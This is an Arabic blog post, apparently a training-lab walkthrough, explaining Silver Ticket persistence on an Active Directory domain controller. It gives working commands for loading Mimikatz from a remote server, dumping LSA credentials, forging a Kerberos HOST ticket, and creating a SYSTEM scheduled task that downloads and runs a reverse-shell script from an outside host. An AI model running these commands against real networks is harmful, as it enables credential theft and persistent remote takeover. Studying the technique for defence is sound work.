Persistence - Silver Ticket

Jehad Alqurashiمنذ سنة

السلام عليكم ورحمة الله وبركاته

الحمد لله على جميع نِعمه علينا ما علمنا منها وما لم نعلم حمداً والصلاة والسلام على نبينا محمد اشرف الخلق والمرسلين, اما بعد:

مقدمة:

في المقالة هذي راح اشرح التكنيك الرابع لتثبيت الاختراق على ال Domain Controller 
 

ايش هو تكنيك Silver ticket؟

فكرة هذا التكنيك انه يمكننا من  التحكم في خدمة معينه شغالة على جهاز معين سواء كان Domain Controller او غيره


ايش هي الخدمات اللي دائما تكون في جميع الاجهزة مثلا خدمة ؟

1- CIFS

2-HOST

تنويه : يوجد خدمات اخرى كثير بس هذي اللي تهمنا حاليا


ايش هي خدمة ال HOST وفي ايش راح تفيدنا في تثبيت الاختراق؟


 هذي الخدمة تمكنا من انشاء جدولة لي اوامر معينه على نفس الجهاز اللي مستغلين عليه الخدمة

مثلا انه نسوي جدولة ل امر يرجع لنا Reverse Shell او اتصال عكسي بحيث في اي وقت حبيت ادخل الى هذا الجهاز مره اخرى اسوي جدولة الى امر يرجعلي Reverse Shell


ايش هي خدمة ال CIFS وفي ايش راح تفيدنا في تثبيت الاختراق؟

هذي الخدمة تمكننا من تصفح ملفات الجهاز اللي مستغلين عليه الخدمة

 

 

ايش متطلبات هذا التكنيك؟


1- NTLM هاش الخاص بالجهاز اللي راح نستخرجة عن طريق اداة Mimikatz

2- SID of Domain

3- hostname of computer

4- User to impersonate

 

الشرح:


راح ننفذ التكنيك على جهاز Domain Controller



طبعا عشان نطبق التكنيك لازم نشغل جلسة PowerShell بمستخدم ضمن قروب Domain Admins


اول شي راح ندخل لجهاز Domain Controller عن طريق هذا الامر:

 

Enter-PSSession -ComputerName dcorp-dc

بعد كذا راح نسوي تشغيل الى http server على نفس المسار اللي موجودة فيه Mimikatz


الان راح اسوي Load ل اداة Mimikatz عن طريق هذا الامر:
 

iex (iwr http://172.16.100.7/Invoke-Mimikatz.ps1 -UseBasicParsing)

بعد ننفذ هذا الامر عشان يسحب لنا جميع الباسوردات اللي موجودة في ال Lsass proccess

 

Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

الان طلعت الهاش الخاص بالجهاز

 

الان راح نستخرج المتطلب الثاني اللي Domain SID عن طريق اداة PowerView عن طريق هذا الامر:

Get-DomainSID

 


الان راح اشغل جلسة Powershell و ننفذ امر بحيث يستغل لنا خدمة ال HOST على جهاز الDomain Controller عن طريق اداة Mimikatz
 

kerberos::golden /user:Administrator /rc4:e882c92024e683640c00ae83d43b5c88 /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /domain:dollarcorp.moneycorp.local /service:HOST /ptt



الان راح ننفذ هذا الامر بحيث نشوف هل صار عندنا صلاحية نطلع على ال  Scheduling Tasks او لا

 

schtasks /S dcorp-dc.dollarcorp.moneycorp.local

الان يمكننا ننشأ  scheduling task بحيث نجيب Reverse Shell على جهاز الـ Domain Controller في اي وقت اخر


لكن خلونا نجرب نسوي Reverse shell عن طريق scheduling task


راح استخدم سكربت Invoke-PowerShellTcp.ps1 وراح ننشأ scheduling task راح يسوي Load في الميموري الخاص بجهاز Domain Controller


اول شي راح اشغل الى http server على نفس المسار اللي موجودة فيه Invoke-PowerShellTcp.ps1

 

هذا الامر اللي راح ننشأ عن طريقه schedule task :
 

schtasks /create /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "jehad1" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.7/Invoke-PowerShellTcp.ps1''')'"

قبل لا نسوي تشغيل لي الـ schedule task راح اتنصت على البورت اللي راح يجيني عليه الـ Reverse shell عن طريق اداة PowerCat


بعد كذا راح اسوي تشغيل لي الـ schedule task عن طريق هذا الامر:

 

schtasks /Run /S dcorp-dc.dollarcorp.moneycorp.local /TN "jehad1"

 الان خلونا نشوف هل وصل لنا Reverse Shell او لا
 


وبكذا وصلنا الى نهاية المقالة


شاكر لكم.

كلمات دليلية: hacking
0
إعجاب
1286
مشاهدات
0
مشاركة
1
متابع

التعليقات (0)

لايوجد لديك حساب في عالم البرمجة؟

تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !